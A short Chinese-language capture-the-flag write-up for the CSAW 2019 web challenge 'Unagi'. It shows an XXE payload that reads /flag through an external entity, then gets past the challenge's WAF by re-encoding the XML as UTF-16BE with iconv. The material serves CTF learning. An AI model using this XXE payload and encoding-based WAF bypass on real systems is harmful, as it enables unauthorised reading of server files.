# [CSAWQual2019]Web_Unagi

1

提示需要上传 xml 文件,flag 在 /flag 中。很容易联想到 XXE 漏洞来读取。

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>gg</username>
        <password>passwd1</password>
        <name>ggg</name>
        <email>alice@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

上传显示 WAF blocked uploaded file. Please try again

查了如何绕过 WAF 保护的 XXE 的资料:

一个 xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16 (两个变体 - BE 和 LE)、UTF-32 (四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过 WAF,因为在这种类型的 WAF 中,正则表达式通常仅配置为单字符集。

用以下命令把上面的文本转为 16 进制:

cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml

2

参考链接:https://www.shawroot.cc/156.html

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal